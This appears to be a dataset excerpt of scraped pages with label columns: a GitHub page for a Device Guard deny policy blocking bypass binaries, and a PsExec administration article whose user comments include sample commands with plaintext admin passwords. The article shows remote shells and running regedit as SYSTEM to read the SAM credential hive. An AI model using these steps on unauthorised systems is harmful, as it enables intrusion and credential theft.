\xe2\x86\xb5 Jump to \xe2\x86\xb5 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 Sign\xc2 in Sign\xc2 up Watch 18 Star 101 Fork 31 mattifestation/DeviceGuardBypassMitigationRules Code Issues 0 Pull requests 1 Projects 0 Security Insights Dismiss Join GitHub today GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together. Sign up A reference Device Guard code integrity policy consisting of FilePublisher deny rules for published Device Guard configuration bypasses 13 commits 1 branch 0 releases Fetching contributors MIT Branch: master New pull request Find File Clone or download Clone with HTTPS Use Git or checkout with SVN using the web URL. Download ZIP Downloading... Want to be notified of new releases in mattifestation/DeviceGuardBypassMitigationRules? Sign in Sign up Launching GitHub Desktop... If nothing happens, download GitHub Desktop and try again. Go back Launching GitHub Desktop... If nothing happens, download GitHub Desktop and try again. Go back Launching Xcode... If nothing happens, download Xcode and try again. Go back Launching Visual Studio... If nothing happens, download the GitHub extension for Visual Studio and try again. Go back Matt Graeber Major policy overhaul \xe2\x80\xa6 1) All rules are FileName rules now - i.e. the basis for the rule comes from OriginalFileName in the PE resource. This is makes for a great deny rule that is not subject to tampering since modifying the PE resource would invalidate the signature. 2) There are comment for each bypass. 3) Thanks to the Device Guard team for pointing out that 65535.65535.65535.65535 is the proper max file version to cover all past/present/future versions in a deny rule. Latest commit f5b3436 May 27, 2017 Permalink Type Name Latest commit message Commit time Failed to load latest commit information. BypassDenyPolicy.xml Major policy overhaul May 27, 2017 LICENSE Initial commit Sep 13, 2016 README.md Update README.md Sep 13, 2016 README.md DeviceGuardBypassMitigationRules A reference Device Guard code integrity policy consisting of FilePublisher deny rules for published Device Guard configuration bypasses. As new Device Guard configuration bypasses are published, this reference policy will be updated with deny rules for the offending binaries. Generally speaking, the rules that will be published here will reflect signed Microsoft user-mode binaries that circumvent user-mode code integrity (UMCI). All code integrity policies will require that Microsoft binaries be trusted to a great extent, therefore it is reasonable to assume that a binary that executes arbitrary, unsigned code is a valid device guard configuration bypass. If you believe this is missing a published bypass, please file a GitHub issue linking to the published bypass. I also ask that you validate these rules on your system. I can only obtain so many versions of the bypass binaries so there may be a version out there that was signed with a different code signing certificate that I'm not tracking. If that's the case, pelase let me know, provide the binary, and I will promptly update the policy. Thank you! You can use the following code snippet to easily merge this policy with your existing code integrity policy: # The path to the denial policy from the GitHub repo $DenialPolicyFilePath = 'BypassDenyPolicy.xml' # Replace this with the file path of the policy you're using $ReferencePolicyFilePath = 'ReferencePolicy.xml' # Name this whatever you want $MergedPolicyFilePath = 'ReferencePolicyWithMitigations.xml' # Parse the rules from the denial policy $DenyRules = Get-CIPolicy -FilePath $DenialPolicyFilePath # Merge the rules into a new, merged code integrity policy Merge-CIPolicy -OutputFilePath $MergedPolicyFilePath -PolicyPaths $ReferencePolicyFilePath -Rules $DenyRules For additional background on creating and merging deny rules, please refer to my blog post on the subject. \xc2\xa9 2019 GitHub, Inc. Terms Privacy Security Status Help Contact GitHub Pricing API Training Blog About You can\xe2\x80\x99t perform that action at this time. You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0" -"http://windowsitpro.com/systems-management/psexec JAN MAR MAY Previous capture 07 Next capture 2016 2017 2018 66 captures 5 Sep 2013 - 8 May 2019 About this capture Skip to NavigationSkip to Content Windows IT Pro Go! TwitterFacebookGoogle+LinkedInRSS IT/Dev ConnectionsForumsStore REGISTER LOG IN Windows Exchange Server SharePoint Virtualization Cloud Systems Management Training InfoCenters HOME > SYSTEMS MANAGEMENT > PSEXEC PsExec Execute processes on a remote system and redirect output to the local system Jun 28, 2004Mark Russinovich | Windows IT Pro EMAIL TWEET COMMENTS 81 PsExec is a command-line tool that lets you execute processes on remote systems and redirect console applications' output to the local system so that these applications appear to be running locally. You can download PsExec for free from the Sysinternals website. Here are some advanced tips and tricks to help you leverage the full potential of PsExec as a systems management utility. Related: PsExec, User Account control and Security Boundaries The PsTools Suite PsExec is a member of Sysinternals' PsTools suite, which contains 11 tools. To be in the suite, tools must conform to a set of specifications that includes supporting Windows NT 4.0 and later, being a console application, and having the ability to work on the local system as well as on a remote one. PsTools utilities require no manual installation of software on the remote system, and they let you specify alternative credentials to access the remote system. Incidentally, the reason that the suite is named PsTools and that all the member tools have Ps as a prefix to their name is that the first tool I developed that satisfied the listed criteria was PsList, a program that lists running processes. I named the tool after the ps utility that performs the same function on UNIX systems. Related: PsExec to the Rescue As with many of the tools in the PsTools suite, PsExec's ability to run processes remotely requires that both the local and remote computers have file and print sharing (i.e., the Workstation and Server services) enabled and that the default Admin$ share (a hidden share that maps to the \\windows directory) is defined on the remote system. The reasons for these requirements will become clear later when I describe how PsExec works. PsExec PsExec's ability to run processes remotely with no manual installation of software on the remote system makes deployment easy. However, if PsExec were only able to launch a program on a remote system, its usefulness would be limited. PsExec's ability to redirect the input and output of console applications is what makes the tool a versatile systems management utility. Figure 1 shows PsExec's command-line options and gives a hint as to its capabilities. Many Windows administrative console tools can run only on a local machine. PsExec lets you remote-enable any of them. For example, PsExec lets Ipconfig, the Windows utility that displays the TCP/IP configuration for a system's network adapters, show a remote system's configuration. A sample command for that use is psexec \\\\remote ipconfig where remote is the name or IP address of the system you want to query. You'll see Ipconfig's output as if you had run Ipconfig on the local machine. If you don't specify the path of the program you want to execute, PsExec looks in the \\windows\\system32 directory of the remote system. If you know that the program isn't in that directory, enter its full path on the remote system; if it's an executable on the local system that you want to execute on the remote system, specify the -c switch and the file's local path. The -c switch directs PsExec to copy the specified executable to the remote system for execution and delete the executable from the remote system when the program has finished running. An even more powerful use of PsExec's console-redirection capability is to run a command prompt on a remote system as if the command prompt were running locally. This use of PsExec is similar to running a Telnet client on the local machine and connecting to a Telnet service on the remote machine, but you don't need to have the Telnet service, or any other special service, running on the remote system. Simply execute the command: psexec \\\\remote cmd If you want to execute one console command on the remote system, pass the command prompt the /c switch followed by the command you want to execute. For example, the command psexec \\\\remote cmd /c ver displays the Windows version number of the remote system on the local machine's console. Another popular use of PsExec is to deploy hotfixes or other patches that support a noninteractive interface across your network. To make this task even easier, PsExec takes multiple computer names, the name of a text file containing a list of computer names, or the special name of \\\\* that results in an enumeration of all the computers in the current domain. For instance, to execute the Microsoft MyDoom removal tool on computers named Remote and Remote1 and log the exit status of the cleanup to a file, you could use the command psexec \\\\remote,remote1 -c doomcln.exe -s 2> results.log Upon exit, a process specifies an integer that the process's parent process can read. Programs often use the exit code to report the success or failure of their execution. Whenever a process executed with PsExec is completed, PsExec displays the process's exit code and returns the exit code as its own exit code. You should test a program's behavior or check its documentation to determine what that program's specific error codes mean, but an exit code of 0 typically means success. The -s switch specifies that PsExec should execute the command under the System account. I'll discuss this option more in a moment. PsExec Security You should be aware of several ways in which PsExec interfaces with Windows security. By default, the process you execute on the remote system impersonates the account from which you run PsExec on the local system. Impersonation is somewhat restricted from the perspective of security\xe2\x80\x94the remote process doesn't have access to any network resources, even those that your account typically would be able to access. If the account in which you're running doesn't have local administrative privileges on the remote system, the process you want to run requires access to network resources, or you want to run a process in a different account, then use PsExec's -u switch to provide an alternative account name. For example, you could enter the command psexec \\\\remote -u remote\\administrator -p adminpass ipconfig to run Ipconfig under the Administrator account on the remote machine. Use the -p switch to enter the password for the account you specified with the -u switch. If you omit the -p switch, PsExec prompts you to enter the password (for security reasons, PsExec doesn't echo the password you enter to the screen). If you specify alternative credentials, the remote process runs with those credentials and will have access to network resources that the alternative account can access. To run in a different account, PsExec must use that account to log on to the remote system. PsExec therefore requires the password on the remote system and sends the password in clear text from the local system. You need to be aware of this fact if unauthorized network sniffers could intercept traffic between the local and remote system. You can also run the remote process in the System account, under which Windows services and core Windows processes, such as Winlogon and the Local Security Authority Subsystem Service (LSASS) are executed. The System account has powerful privileges. Some file-system and registry resources have default security settings that permit access only from the System account\xe2\x80\x94examples are the HKEY_LOCAL_MACHINE\\SAM registry subkey and the \\System Volume Information directory that's present on each volume of all Windows 2000 or later systems. For example, if you've ever been curious about the contents of the SAM subkey, which appears empty in regedit because regedit can navigate the subkey only under the System account, you can use PsExec similarly to the way you use the Runas command (which is available on Win2K and later) to run regedit under the System account. The command is this: psexec -s -i c:\\windows\\regedit.exe Note that the command doesn't include a remote computer name and does include the -i (interactive) switch. When you enter the command, regedit will appear on your desktop running in the System account, and you'll be able to look inside the HKEY_LOCAL_MACHINE\\SAM and HKEY_LOCAL_MACHINE\\SYSTEM subkeys. The -i switch is what causes regedit to appear on the console desktop, and it's typically useful only when you want to run a GUI application on the local system where you can interact with it. A last security note relates to viruses. Several viruses use PsExec to propagate within a network, and as a result, several major antivirus products flag PsExec as a Trojan horse program or a worm. Remember that PsExec works on remote systems only if it runs within an account that has administrator group membership on the remote system. In other words, unless the account from which you run it has administrative access to a remote system, PsExec won't be able to execute a process on the remote system. In addition, PsExec's functionality can be achieved in other ways; thus, PsExec is only a convenience for virus writers, who could otherwise easily implement the functionality that PsExec provides. Inside PsExec PsExec starts an executable on a remote system and controls the input and output streams of the executable's process so that you can interact with the executable from the local system. PsExec does so by extracting from its executable image an embedded Windows service named Psexesvc and copying it to the Admin$ share of the remote system. PsExec then uses the Windows Service Control Manager API, which has a remote interface, to start the Psexesvc service on the remote system. The Psexesvc service creates a named pipe, psexecsvc, to which PsExec connects and sends commands that tell the service on the remote system which executable to launch and which options you've specified. If you specify the -d (don't wait) switch, the service exits after starting the executable; otherwise, the service waits for the executable to terminate, then sends the exit code back to PsExec for it to print on the local console. PRINT REPRINTS FAVORITE EMAIL TWEET Discuss this Article 81 Anonymous User (not verified)on Mar 15, 2005 RE: The credentials supplied conflict with an existing set of credentials.can anyone please solve this problem This usually happens when you already have a share to the computer with a different user account. For instance if your account has a share to this computer and your psexec line uses a different account. Use NET USE to list all your existing shares and DELETE the one you are trying to connect with. Log In or Register to post comments Anonymous User (not verified)on Apr 7, 2005 since NAI detected PSEXESVC as a virus and tried to remove it, psexec falis to start on those servers. The windows event log reported Event ID 7000, the system can not find the file specified. Log In or Register to post comments Ronald (not verified)on Sep 6, 2007 I'm trying to run the PSExec Tool on a remote server in order to change the System Time. Problem is, this process is being called within a simple bat script and I have concerns exposing sensitive data, such as, Server's Administrator UserName and Password in clear text. I'm trying to run this tool using a regular user account modified with elevated privileges. I believe the only Privilege Usage requirements needed to execute this task are as shown below. As a result, I added the corresponding User Right Assignments to Joe user hoping that would solve the issue. Sadly though, this did not work. Am I missing something else or is my requirement not possible? Thx. Ron SeAssignPrimaryTokenPrivilege (Replace a process- level token) SeCreateTokenPrivilege (Create a token object) SeLoadDriverPrivilege (Load and unload device drivers) SeTakeOwnershipPrivilege (Take ownership of files and other object) SeRestorePrivilege (Restore files and directories) SeSystemEnvironmentPrivilege (Modify firmware environment variables) SeSecurityPrivilege (Manage auditing and security log) SeTcbPrivilege (Act as part of the operating system) SeBackupPrivilege (Backup files and directories) SeSystemtimePrivilege (Change the system time) Log In or Register to post comments Anonymous User (not verified)on Mar 2, 2005 You have to set quotes befor ""cmd.exe until the end of the script Log In or Register to post comments ngadgilwaron Feb 22, 2012 I am trying to give some db2 command from my local system to remote system using psexec, then those commands are not getting executed on that remote server. But if I give normal Windows commands like mkdir from my local system to remote system using psexec, then they are working properly. Log In or Register to post comments Anonymous User (not verified)on Jul 16, 2005 Scanstate errors out on a remote machine when run with psexec using the '-d' switch. Without the '-d' it works fine, but I plan to backup multiple machines remotely and want to be able to do this asynchronously and not have to wait for each scanstate session to finish as is the case here. I'm running this on XP SP1/2 and get a memory reference error (which I could provide later). Scanstate takes about 20 minutes to run, but the error seems to happen within a minute or so, so it doesn't appear to be a timeout issue (I can run xcopy with psexec -d for about 20 minutes without a problem). Any ideas most welcome. Thanks Log In or Register to post comments Anonymous User (not verified)on Aug 17, 2005 When trying the psexec with the -i switch on a remote Windows XP machine I get the following error: Not enough quota is available to process this command. anyone knows how can I solve this? thanks Log In or Register to post comments Anonymous User (not verified)on Apr 22, 2005 psexec \\\\mach1 -i -d -s -f -c -w C:\\scripts ""C:scripts\\CheckoutandBuildMyApps.bat"" This command works if the file does not exist on the remote machine. If the file exists, it is supposed to force copy the file (-f option) to the remote machine. It executes the older version of the script and does not state that it has failed to copy the file. Any Clues? Thanks in advance. Log In or Register to post comments Anonymous User (not verified)on Mar 15, 2005 psexec has gone crazy on my system. It repeats the command in an infinite do-loop until I control-c to stop the batch file. However, if I type in another psexec command, it goes right back to the ""stuck"" one & loops again. This behavior survives reboots. My system is still executing a psexec command that I typed in a week ago & will not recognize any new psexec command input. How do I stop it? Log In or Register to post comments jharringtonon May 16, 2005 I have been using psexec with Windows 2000, but when I use it with Windows 2003 server, jobs that use mapped drives fail. See the examples below. Example 1 is a mapped network drive and Example 2 is a local drive. Is there any way I can make this work with Windows 2003? Thanks! ********* EXAMPLE 1 ************************ C:\\Xformer>psexec \\\\transform4 -s -u administrator -p xxxxxxxxxx cmd /C dir s: PsExec v1.58 - Execute processes remotely Copyright (C) 2001-2005 Mark Russinovich Sysinternals - www.sysinternals.com The system cannot find the path specified. cmd exited on transform4 with error code 1. ********* EXAMPLE 2 ************************ C:\\Xformer>psexec \\\\transform4 -i -u administrator -p xxxxxxxxxx cmd /C dir d: PsExec v1.58 - Execute processes remotely Copyright (C) 2001-2005 Mark Russinovich Sysinternals - www.sysinternals.com Volume in drive D has no label. Volume Serial Number is 8456-8877 Directory of d: 05/15/2005 04:28 PM temp 05/13/2005 03:05 PM WUTemp 0 File(s) 0 bytes 2 Dir(s) 23,378,264,064 bytes free cmd exited on transform4 with error code 0. Log In or Register to post comments Anonymous User (not verified)on Mar 21, 2005 it's one of the best tools I've ever used. I can even read/write Windows EFS encrypted files on a remote machine from the local screen! Log In or Register to post comments Anonymous User (not verified)on May 9, 2005 hi, i have the same problem than jcmpinto, the psexec command says : The process tried to write to a nonexistent pipe .... :( i call the psexec command in a java program : cmd /c C:\\psexec \\\\10.66.X.X -u myuser -p mypasswd -i -w F:\\Naming\\ F:\\Naming\\NewTest.bat and the biginnig of the .bat is : set tils;%PATH% set CONFIG=..\\config\\orbacus.config FOR /f ""delims="" %%a in ('CD') DO SET CWD=%%a nameserv.exe --version 2>db\\version.txt for /f ""delims=="" %%i in (db\\version.txt) DO set l=%%i title Installation of %l% ... Log In or Register to post comments Anonymous User (not verified)on May 12, 2005 We use PsExec as a 3rd tool with our product to remote deploy software's over the network. The command we pass to PsExec psexec \\\\10.10.51.26 -u 10.10.51.26\\test -p test -c -f -i -e test.exe We prepend the user name with the machine when the domain name in not provided. If the domain is provided we just use the domain administrator\xe2\x80\x99s user name for remote deployment. One of our customer does not wants give domain admin user and pwd. So as a test fix we remove the machine name from the user name psexec \\\\10.10.51.26 -u test -p test -c -f -i -e test.exe Now the remote deployement fails. Just wanted to know which is the correct option to pass to psexec if the machine is in a domain. psexec \\\\10.10.51.26 -u 10.10.51.26\\test -p test -c -f -i -e test.exe or psexec \\\\10.10.51.26 -u test -p test -c -f -i -e test.exe or psexec \\\\\\\\10.10.51.26 -u test -p test -c -f -i -e test.exe Log In or Register to post comments Anonymous User (not verified)on Aug 25, 2005 How to create admin$ share remotely which is must for running the psexec....any help would be highly appreciated...Thanx....Mohit. Log In or Register to post comments bhatia (not verified)on Apr 19, 2005 Hello, I am using psexec from a remote computer (c code). fprintf(pt,""psexec \\\\\\\\recon1 -u administrator -p sparky -i d:\\\\\\\\reconparallel.exe\\n""); fprintf(pt,""psexec \\\\\\\\recon2 -u administrator -p sparky -i c:\\\\\\\\reconparallel.exe\\n""); I write this command in a file and run that file. Its working fine. The only thg is that it runs the command on recon1 1st, completes the command, and then run the command on recon2. Since the 1st command take like 6hrs to complete, I wanted to know if there is a way when it runs both the command at the same time on 2 different comouters (recon1 and recon2)? Thnaks Log In or Register to post comments FabienTeuliereson Sep 18, 2012 The ""PS tools"" suite is just brilliant, Mark. I use it daily in our organization's remote automation routines. After a few tweaks, it runs flawlessly. I can't thank you enough for this great product * 5 stars * Log In or Register to post comments nilakshi (not verified)on Nov 24, 2008 PsExec is gr8!!! further, I need to know how can i use autocomplete of folder names, etc. while using cmd on remote machines.. thanks Log In or Register to post comments Anonymous User (not verified)on Apr 1, 2005 I'm getting ""The system cannot find the file specified"" when I attempt to run a vbscript. Ipconfig and other commands do run properly on the same computer. Log In or Register to post comments JamesLewison Jul 3, 2012 HI, I have been using PS EXEC to remotely kick of numerical models on a network computer. We can communicate with the remote computer and view ipconfig, etc. We can kick off the models if all the files are located on that remote computer, however if the source files are located on yet ANOTHER mapped network computer, the PS EXEC function has trouble communicating. Has anyone had any similar problems? ie communicating with mapped network drives on the remote computer. Log In or Register to post comments Anonymous User (not verified)on Feb 24, 2005 I loved this little utility that does all. what does mean when I get the following error: Defrag.exe exited on computername with error code 0? almassud@hotmail.com thanks Log In or Register to post comments Anonymous User (not verified)on May 4, 2005 PsExec rocks. What would make it rock even more is if one could specify a foreground/background color for the interactive command prompt. That way there would be a CLEAR indication that one was working on a remote system. Then when the PsExec ends, the prompt could go back to the original colors... Log In or Register to post comments Anonymous User (not verified)on Apr 18, 2005 I am totally new to this tool, but using it to run MS patches. I choose to run this on the remote system(s) using yhe -i, and everthing starts. How do I get the patch to finish and answer the prompts (""next"" Finish"" etc..) If I run w/o the user intervention (-i)on the client, the psexec tool appears to hang. I assume this is because it is waitng for input. Any help would be helpful Log In or Register to post comments Anonymous User (not verified)on Mar 8, 2005 I want to use a batch file to automatically open CISCO VPN client and enter user name and password Log In or Register to post comments Shuaib (not verified)on May 15, 2009 I am getting the following error code 0. Any idea how to fix this? C:\\WINDOWS\\system32>psexec \\\\2.75.221.2 -u administrator -p watchThis ipconfig PsExec v1.95 - Execute processes remotely Copyright (C) 2001-2009 Mark Russinovich Sysinternals - www.sysinternals.com ipconfig exited on 2.75.221.2 with error code 0. C:\\WINDOWS\\system32> Log In or Register to post comments Chris (not verified)on Oct 12, 2005 Wonder if anyone will even still read this but.. Having plenty of trouble using PSEXEC.. We began testing it with the MS Remote Desktop Connection software.. My command line is PSEXEC \\\\computer -u myacct -c -f G:\\Directory\\msrdpcli.exe The wierd thing, if on the remote machine Im logged in as myself (which has domain admin rights) the install of the RDP client works just fine. Logged on as any of our network users, I can see the process start and stop on the remote machine, but nothing ever gets installed. I dont get how this is supposed to help if I have to run to every remote machine and login. Ive also thrown in the -s flag, as well as the -e flag to no avail.. This morning we decided to test it again and roll out the Flash Player to a machine.. Now this time no matter who was logged in on the remote, PSEXEC just hangs there along with the Flash installer, and whatever wierd temp file we can see being created during it. I dont get it, am i just trying to install files that possibly because of where they go, dont work with PSEXEC?? I would think being the domain admin I should have free reign over it but nada.. Log In or Register to post comments santhosh.raoon Nov 24, 2011 Hi All, I am using the following command PsExec.exe -u ""username"" -p ""password"" \\\\Remote_Server -w ""F:\\Test"" cmd /c call test.bat The command executes successfully on the remote server by control does not seem to come back to the host system. If I check the task manager the task PsExec.exe is still running. is there a way i can stop the task once execution of the bat file execution is completed on remote system? Additional information: I am using this command in Informatica Command task Log In or Register to post comments Anonymous User (not verified)on Mar 4, 2005 I use psexec to run a batch file on the local machine as another user (which works without problems). However, after the batch has finished, psexec hangs for quite a long time until reporting that the process has finished. Is there anything one can do about that delay? Thanks in advance! Log In or Register to post comments THOMAS (not verified)on Apr 11, 2005 Your context looks incorrect. Can you reply with the full context you use to invoke stop_ob_portal_prd.bat? Log In or Register to post comments Anonymous User (not verified)on Feb 10, 2005 For those having problems getting the PSTools to run on the remote server due to security warnings/access denied/etc., here are a couple of tips, at least for Windows XP servers: - on the server turn off ""simple file sharing"" - create a user on the server with the same login name and password as the person who will be running psexec. - add that user to the Administrators group on the server Very important (!): - Now that you have changed the security on the server, open Computer Management and force all sessions from this user to close (logging off doesn't always do it). Now the server will see the user connect again and use the new security settings. - Steve Yates - Too err is human. To moo, bovine. ~ Taglines by Taglinator - www.srtware.com ~ Log In or Register to post comments Anonymous User (not verified)on Apr 29, 2005 Hi Guys I need some help, Does anyone know what is used to separate the computer names in the text file when psexec is used with the @file parameter? I used psexec @test.txt -c \xe2\x80\x9cc:\\test.exe\xe2\x80\x9d Contents of test.txt xxxpc001, xxxpc02, comma and space as separators doesn't work!! Log In or Register to post comments Anonymous User (not verified)on Jun 2, 2005 i'm not able to use the ""net use"" cmd with psexec, even as member of local Administrators group of the machine. Log In or Register to post comments Caroline (not verified)on Nov 13, 2008 See also this newer article by Mark Russinovich on PsExec: http://windowsitpro.com/article/articleid/95231/psexec-user-account-control-and-security-boundaries.html or type 95231 in the InstantDoc ID box at the top of this page. Plus, there's also http://windowsitpro.com/article/articleid/50102/let-users-install-software-without-giving-them-administrator-r ights.html or type 50102 into the InstantDoc ID box at the top of this page. Hope this helps! Log In or Register to post comments Anonymous User (not verified)on Aug 25, 2005 Try this...it will definately work...psexec \\\\sys_name net use.......for watching any network drive mapped..........if u want to map a drive.then use......psexec \\\\sys_name net use g: \\\\gstdfd\\c$......Mohit Log In or Register to post comments Paul (not verified)on Jan 3, 2006 I want to run a perl job on a remote machin,I run ""C:\\>psexec \\\\sqlprd-clst1 c:\\sqltest.pl"" and get ""PsExec could not start c:\\sqltest.pl on sqlp The system cannot find the file specified."" Any thoughts?? Log In or Register to post comments Anonymous User (not verified)on Feb 25, 2005 Usually error code zero means no error occurred. Anything above zero is an error. Log In or Register to post comments Anonymous User (not verified)on Apr 7, 2005 To stop that file from running until you determine the source (Scheduler? or ??) get the following program - killbox - and end the process / file. http://www.bleepingcomputer.com/files/killbox.php Log In or Register to post comments THOMAS (not verified)on Jun 9, 2006 jmcpinto (at) gmail (dot) com, Check the version of psexec you are using. Are you running the jobs from different computers/servers with different versions of psexec? Using different versions has the tendency to create ""connectivity"" issues. Let me know! Thanks, Thomas Mshar ~ axomtechnology (dot) com Log In or Register to post comments Anonymous User (not verified)on Apr 19, 2005 I keep getting ""Access is denied"" message. Could somebody please assist me? I've gone through the other comments but I dont understand them. Please help. S.M. Adam Log In or Register to post comments Anonymous User (not verified)on Feb 2, 2005 Amazing tool! Log In or Register to post comments THOMAS (not verified)on Jun 9, 2006 JC Warren, run this command and it will return the requested IP information. psexec \\\\hostname -s ""%windir%\\system32\\ipconfig"" Thanks, Thomas Mshar www.axomtechnology.com Log In or Register to post comments Anonymous User (not verified)on May 20, 2005 alright.. a quick question im copying a .bat file through my network. the .bat file have this inside of it: NET USE P: \\\\apathtomynetwork Now, after the copy i m doing this : psexec /u myuser/p mypass \\\\%%Q \\\\%%Q\\c$\\startnet.bat %%Q beying my variable thats looking through a txt file thats = to the computer name in the list.. now on my local computer ( the one that im running all this script on ) im having the following: the command completed successfully \\\\%%Q(his name) \\c$\\startnet.bat exited on %%Q(his name) with error code 0. AND even thought it says completed , it still dont map the drive on the remote computer basicly. I know their is Active directory solutions but i do not want to use it for other reason.. is their a way to do that ? anybody know how to make that work ? if i execute the startnet.bat from a remote desktop on the %%Q computer , it works perfectly.. Please help!! thanks alot Log In or Register to post comments tamir_sal (not verified)on Nov 30, 2005 Hi all, well i'm wondering what is (and i quote) : ""both the local and remote computers have file and print sharing (i.e., the Workstation and Server services) enabled"". where can i set those shares and what do they mean ? Thanks T. Log In or Register to post comments Miguel (not verified)on Mar 24, 2006 QUIERO DESCARGAR ESTA UTILIDAD PARA SABER SI ME SIRVE O NO Log In or Register to post comments Anonymous User (not verified)on Mar 11, 2005 JC Warren I have the same problem here.. http://groups.google.de/groups?hl=de&lr;=&selm;=bitpi3%2416sf%241%40arachne.labyrinth.net.au looks like a solution here. :-) Log In or Register to post comments Anonymous User (not verified)on Apr 11, 2005 Hello, can anyone help me with this error, it appears from time to time on scheduled batch scripts but when i execute the script in command prompt manually it's allways ok. psexec \\\\rforsap33 c:\\stop_ob_portal_prd.bat PsExec v1.56 - Execute processes remotely Copyright (C) 2001-2004 Mark Russinovich Sysinternals - www.sysinternals.com The process tried to write to a nonexistent pipe. Connecting to rforsap33... Starting PsExec service on rforsap33... Connecting with PsExec service on rforsap33... Starting c:\\stop_ob_portal_prd.bat on rforsap33... c:\\stop_ob_portal_prd.bat exited on rforsap33 with error code 1. Tnks, jmcpinto (at) gmail (dot) com Log In or Register to post comments Asdaq (not verified)on Aug 14, 2008 Good utility. But requires autocomplete(Tab) while using cmd. Can u tell me is there any way to autocomplete in psexec. Log In or Register to post comments Eric (not verified)on Sep 23, 2008 I\xe2\x80\x99m trying to run psexec with an exe that contains this line of code: gfx.CopyFromScreen(0, 0, 0, 0, new Size(screenWidth, screenHeight), CopyPixelOperation.SourceCopy); It will hit an exception when run on a remote computer, but runs fine locally. This is the exception: Unhandled Exception: System.ComponentModel.Win32Exception: The handle is invalid at System.Drawing.Graphics.CopyFromScreen(Int32 sourceX, Int32 sourceY, Int32 destinationX, Int32 destinationY, Size blockRegionSize) at TakeScreenShot.Program.Main(String[] args) c:\\browsershotsexes\\TakeScreenShot.exe exited on TestVistaErtang with error code -532459699. Thanks, Eric PS This is all the code for the exe: using System; using System.Collections; using System.Text; using System.Drawing.Imaging; using System.Drawing; using System.Windows.Forms; using System.Runtime.InteropServices; namespace TakeScreenShot { class Program { #region Console Window property stuff [DllImport(""kernel32.dll"", ExactSpelling = true)] private static extern IntPtr GetConsoleWindow(); private static IntPtr ThisConsole = GetConsoleWindow(); [DllImport(""user32.dll"", CharSet = CharSet.Auto, SetLastError = true)] private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); private const int HIDE = 0; private const int MAXIMIZE = 3; private const int MINIMIZE = 6; private const int RESTORE = 9; #endregion static void Main(string[] args) { ShowWindow(ThisConsole, HIDE); //Hides Console Window Console.WriteLine(""Minimizing the Current Console Window...""); System.Threading.Thread.Sleep(2000); Rectangle scrBounds = Screen.GetBounds(new Point(0, 0)); int screenWidth = scrBounds.Width; Console.WriteLine(screenWidth); Log In or Register to post comments Anonymous User (not verified)on Mar 10, 2005 The credentials supplied conflict with an existing set of credentials.can anyone please solve this problem Log In or Register to post comments Murdoch07 (not verified)on Oct 31, 2008 Trying to run an install .exe on a remote PC. How can this be done in passive mode, so that all default options are used and the program installs? So far, I can only get the Welcome Page for the install program to appear. Thanks. Log In or Register to post comments rajeev (not verified)on Sep 19, 2006 Hi, I got a problem while executing certain exe files like notepad.exe and another exe which perform execution of another exe (which changes position of cursor on screen). When I execute this file using psexec either on remote or local PC there seems to be no effect even though the console gives message executing the exe ..(seems to get hanged). These exe file run if I call them manually or on command prompt but does not seem to work with psexec even with full path of exe given..any ideas? Log In or Register to post commentsShowing 1-50 of 81 itemsPrev12Next Please Log In or Register to post comments. Related Articles Got questions about scripting? How can I run a Control Panel applet or snap-in configuration as another user from the command line? 1 How can I start a process or program as the local system account? 2 JSI Tip 4141. PsExec freeware executes programs remotely. PsExec, User Account Control and Security Boundaries Windows Powershell Master Class Windows Powershell Master Class with John Savill Live Online Training on February 2nd, 9th, and 16th Register by January 26th and Save 20%! PowerShell is the definitive command line interface and scripting solution for Windows, Hyper-V, System Center, Microsoft solutions and beyond. In this Master Class, we will start from the ground up, walking you through the basics of PowerShell, how to create basic scripts and building towards creating custom modules to achieve amazing results in your environment, in non-Microsoft environments, and in Azure. Join the Conversation Get answers to questions, share tips, and engage with the IT professional community at myITforum. Are you a data center professional? Join AFCOM for the best data center insights. Looking to get things done in web development? Hot Scripts offers tens of thousands of scripts you can use. Database administrator? dBforums offers community insight on everything from ASP to Oracle, and get the latest news from Data Center Knowledge. WindowsITPro.com Windows Exchange Server SharePoint Virtualization Cloud Systems Management Site Features Contact Us Awards Community Sponsors Media Center RSS Sitemap Site Archive View Mobile Site Penton Privacy Policy Terms of Service Follow Us TwitterFacebookGoogle+LinkedInRSS Search WindowsITPro.com Go! PISCES Related Sites Dev Pro SharePoint Pro SQL Server Pro SuperSite for Windows IT/Dev Connections myITforum Copyright \xc2\xa9 2017 Penton Continue on to (or wait seconds) \xc3\x97","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1" -"Talos Blog || Cisco Talos Intelligence Group - Comprehensive Threat Intelligence: Old dog, new tricks - Analysing new RTF-based campaign distributing 